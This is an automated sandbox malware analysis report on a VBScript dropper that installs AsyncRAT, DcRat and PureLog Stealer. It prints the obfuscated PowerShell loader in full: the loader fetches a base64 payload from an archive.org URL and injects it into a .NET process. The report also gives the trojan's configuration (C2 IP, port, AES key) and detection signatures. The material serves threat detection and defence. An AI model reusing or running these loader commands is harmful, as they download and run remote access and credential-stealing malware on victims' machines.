Edit tour

Windows Analysis Report
qiEmGNhUij.vbs

Overview

General Information

Sample name:	qiEmGNhUij.vbs renamed because original name is a hash value
Original sample name:	41eb6115196af3892e27dba0a38c0376900f7d96b0e5721e4383b5e75d7379e7.vbs
Analysis ID:	1523822
MD5:	f182482644ecb63bbc8c1dac4fa0be31
SHA1:	e946d969c0f37ae9b56d4851fd1f3dfa79f3c4a9
SHA256:	41eb6115196af3892e27dba0a38c0376900f7d96b0e5721e4383b5e75d7379e7
Tags:	BlindEaglevbsuser-JAMESWT_MHT
Infos:

Detection

AsyncRAT, DcRat, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

VBScript performs obfuscated calls to suspicious functions

Yara detected AsyncRAT

Yara detected DcRat

Yara detected PureLog Stealer

AI detected suspicious sample

Bypasses PowerShell execution policy

Connects to a pastebin service (likely for C&C)

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

Obfuscated command line found

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to detect virtual machines (SLDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1876 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\qiEmGNhUij.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 1212 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6528 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )" MD5: 04029E121A0CFA5991749937DD22A1D9)

AddInProcess32.exe (PID: 1760 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

Threatname: AsyncRAT

{"Server": "148.113.165.11", "Ports": "3236", "Version": "1.0.7", "Autorun": "false", "Install_Folder": "%AppData%", "AES_key": "V4JA2wRo4wMqThNx0lUpEh05ezE9saTH", "Mutex": "Dggx_gg", "Certificate": "MIICJjCCAY+gAwIBAgIVAKTSE5n95JKjYKaeetJmkZ8WSed/MA0GCSqGSIb3DQEBDQUAMFoxCzAJBgNVBAMMAmdnMRMwEQYDVQQLDApxd3FkYW5jaHVuMRwwGgYDVQQKDBNEY1JhdCBCeSBxd3FkYW5jaHVuMQswCQYDVQQHDAJTSDELMAkGA1UEBhMCQ04wHhcNMjMxMjAzMTAyNjE5WhcNMzQwOTExMTAyNjE5WjAQMQ4wDAYDVQQDDAVEY1JhdDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAphKhL5VEa5bZce3HMNoHj07+Nyd8QMtT+YV1vVQeIuxBYfOBrszAxxSRJayhzQwZjw8Du9bw87agBJW06h+GHW8MOufcZ+vKSxmpOL0ze3nUSJiOsfboKa06jcmEpo32D7LTxng9/mAGKb0YGEFUGx88yMDaa+NiBIn/LnWXvaECAwEAAaMyMDAwHQYDVR0OBBYEFMn0HT3AJLPhSr+HTYNM/0589fJ0MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADgYEASB+of3f3t+mAacV7FNg5vwlQhgObMv2su+9BL5KxsQVNsBhluNcrZINzF5jKq/8VafO48B00S1O2MnNHmBXQlZ09Iw8Krvm1hZDmBErHPe0Bwwa5ox6ZpJLnodcOGX2JXMfEY2n/6QC0zva9sGQiyazHOYJRTk5RgJhN7j10nZY=", "ServerSignature": "XjeYWme80rSVhHa/BEFI1k3bRgPGhkJfVbkFLvepbqtufl6cOLxu+woVZZM7psVFdchemmHXVOOta4B/iTyJBzInHTih/neulrIRbgq5zdS22cEhHESwIui1ZS3o5BnYGcZRdZTdXfGH6otoicbOBzdpc41nx3BIOXuL5tRHqjI=", "BDOS": "null", "External_config_on_Pastebin": "false"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x2d83f1:$b2: DcRat By qwqdanchun1

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.2700013071.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000005.00000002.2700013071.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x63fb:$a1: havecamera 0x9874:$a2: timeout 3 > NUL 0x9894:$a3: START "" " 0x971f:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x97d4:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000005.00000002.2712121235.0000000005398000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0xd39a:$b2: DcRat By qwqdanchun1
00000004.00000002.1528856037.000001DFCD980000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000005.00000002.2712121235.00000000052C0000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x13eae:$b2: DcRat By qwqdanchun1
00000005.00000002.2703147210.0000000002D91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
00000005.00000002.2703147210.0000000002D91000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x3a10:$b1: DcRatByqwqdanchun 0x2ae22:$b2: DcRat By qwqdanchun1
00000004.00000002.1489737253.000001DFB57B3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000004.00000002.1489737253.000001DFB57B3000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x1cfb3:$a1: havecamera 0x2b66b:$a1: havecamera 0x2042c:$a2: timeout 3 > NUL 0x2eae4:$a2: timeout 3 > NUL 0x2044c:$a3: START "" " 0x2eb04:$a3: START "" " 0x202d7:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x2e98f:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x2038c:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x2ea44:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
00000004.00000002.1506314735.000001DFC57A7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: powershell.exe PID: 1212	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2cde7:$b3: ::UTF8.GetString( 0x30ed2:$b3: ::UTF8.GetString( 0x3145c:$b3: ::UTF8.GetString( 0x31f9e:$b3: ::UTF8.GetString( 0x326cb:$b3: ::UTF8.GetString( 0x4d637:$b3: ::UTF8.GetString( 0x4dbb9:$b3: ::UTF8.GetString( 0x4e829:$b3: ::UTF8.GetString( 0x53574:$b3: ::UTF8.GetString( 0x87112:$b3: ::UTF8.GetString( 0x87694:$b3: ::UTF8.GetString( 0x885cf:$b3: ::UTF8.GetString( 0x88caf:$b3: ::UTF8.GetString( 0x8951f:$b3: ::UTF8.GetString( 0x89c57:$b3: ::UTF8.GetString( 0x8a5e5:$b3: ::UTF8.GetString( 0x8ae9a:$b3: ::UTF8.GetString( 0x8b7d3:$b3: ::UTF8.GetString( 0x8bd55:$b3: ::UTF8.GetString( 0xa9228:$b3: ::UTF8.GetString( 0xa97aa:$b3: ::UTF8.GetString(
Process Memory Space: powershell.exe PID: 6528	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: powershell.exe PID: 6528	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x8be2a9:$a1: havecamera 0x8c2e51:$b1: DcRatByqwqdanchun
Process Memory Space: powershell.exe PID: 6528	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x8643ec:$b2: ::FromBase64String( 0x8659cc:$b2: ::FromBase64String( 0xea452:$s1: -join 0xeabb3:$s1: -join 0x127b0c:$s1: -join 0x129d1c:$s1: -join 0x80ce48:$s1: -join 0x81a0c9:$s1: -join 0x81d58b:$s1: -join 0x81dc25:$s1: -join 0x81f721:$s1: -join 0x821983:$s1: -join 0x8221aa:$s1: -join 0x822a1b:$s1: -join 0x823156:$s1: -join 0x823188:$s1: -join 0x8231d0:$s1: -join 0x8231ef:$s1: -join 0x823a40:$s1: -join 0x823bbc:$s1: -join 0x823c34:$s1: -join
Process Memory Space: AddInProcess32.exe PID: 1760	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: AddInProcess32.exe PID: 1760	JoeSecurity_DcRat_2	Yara detected DcRat	Joe Security
Process Memory Space: AddInProcess32.exe PID: 1760	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x66ae:$a1: havecamera 0xb256:$b1: DcRatByqwqdanchun 0x35f11:$b1: DcRatByqwqdanchun 0x2adf1:$b2: DcRat By qwqdanchun1 0x310db:$b2: DcRat By qwqdanchun1 0x40825:$b2: DcRat By qwqdanchun1
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
5.2.AddInProcess32.exe.400000.0.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x65fb:$a1: havecamera 0x9a74:$a2: timeout 3 > NUL 0x9a94:$a3: START "" " 0x991f:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x99d4:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
5.2.AddInProcess32.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x99d4:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x991f:$s2: L2Mgc2NodGFza3MgL2 0x989e:$s3: QW1zaVNjYW5CdWZmZXI 0x98ec:$s4: VmlydHVhbFByb3RlY3Q
5.2.AddInProcess32.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x9c56:$q1: Select * from Win32_CacheMemory 0x9c96:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x9ce4:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x9d32:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
5.2.AddInProcess32.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0xa0ce:$s1: DcRatBy
4.2.powershell.exe.1dfb57c99b8.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
4.2.powershell.exe.1dfb57c99b8.0.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x47fb:$a1: havecamera 0x7c74:$a2: timeout 3 > NUL 0x7c94:$a3: START "" " 0x7b1f:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x7bd4:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
4.2.powershell.exe.1dfb57c99b8.0.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x7bd4:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x7b1f:$s2: L2Mgc2NodGFza3MgL2 0x7a9e:$s3: QW1zaVNjYW5CdWZmZXI 0x7aec:$s4: VmlydHVhbFByb3RlY3Q
4.2.powershell.exe.1dfb57c99b8.0.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x7e56:$q1: Select * from Win32_CacheMemory 0x7e96:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x7ee4:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x7f32:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
4.2.powershell.exe.1dfb57c99b8.0.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0x82ce:$s1: DcRatBy
4.2.powershell.exe.1dfc5fbb650.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.powershell.exe.1dfcd980000.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.powershell.exe.1dfc5fbb650.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.powershell.exe.1dfcd980000.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.powershell.exe.1dfb57c99b8.0.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
4.2.powershell.exe.1dfb57c99b8.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.powershell.exe.1dfb57c99b8.0.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x65fb:$a1: havecamera 0x14cb3:$a1: havecamera 0x9a74:$a2: timeout 3 > NUL 0x1812c:$a2: timeout 3 > NUL 0x9a94:$a3: START "" " 0x1814c:$a3: START "" " 0x991f:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x17fd7:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x99d4:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x1808c:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
4.2.powershell.exe.1dfb57c99b8.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x99d4:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x1808c:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x991f:$s2: L2Mgc2NodGFza3MgL2 0x17fd7:$s2: L2Mgc2NodGFza3MgL2 0x989e:$s3: QW1zaVNjYW5CdWZmZXI 0x17f56:$s3: QW1zaVNjYW5CdWZmZXI 0x98ec:$s4: VmlydHVhbFByb3RlY3Q 0x17fa4:$s4: VmlydHVhbFByb3RlY3Q
4.2.powershell.exe.1dfb57c99b8.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x9c56:$q1: Select * from Win32_CacheMemory 0x1830e:$q1: Select * from Win32_CacheMemory 0x9c96:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x1834e:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x9ce4:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x1839c:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x9d32:$d3: {55272A00-42CB-11CE-8135-00AA004BB851} 0x183ea:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
4.2.powershell.exe.1dfb57c99b8.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DcRatBy	Detects executables containing the string DcRatBy	ditekSHen	0xa0ce:$s1: DcRatBy 0x18786:$s1: DcRatBy
Click to see the 15 entries

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProc

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

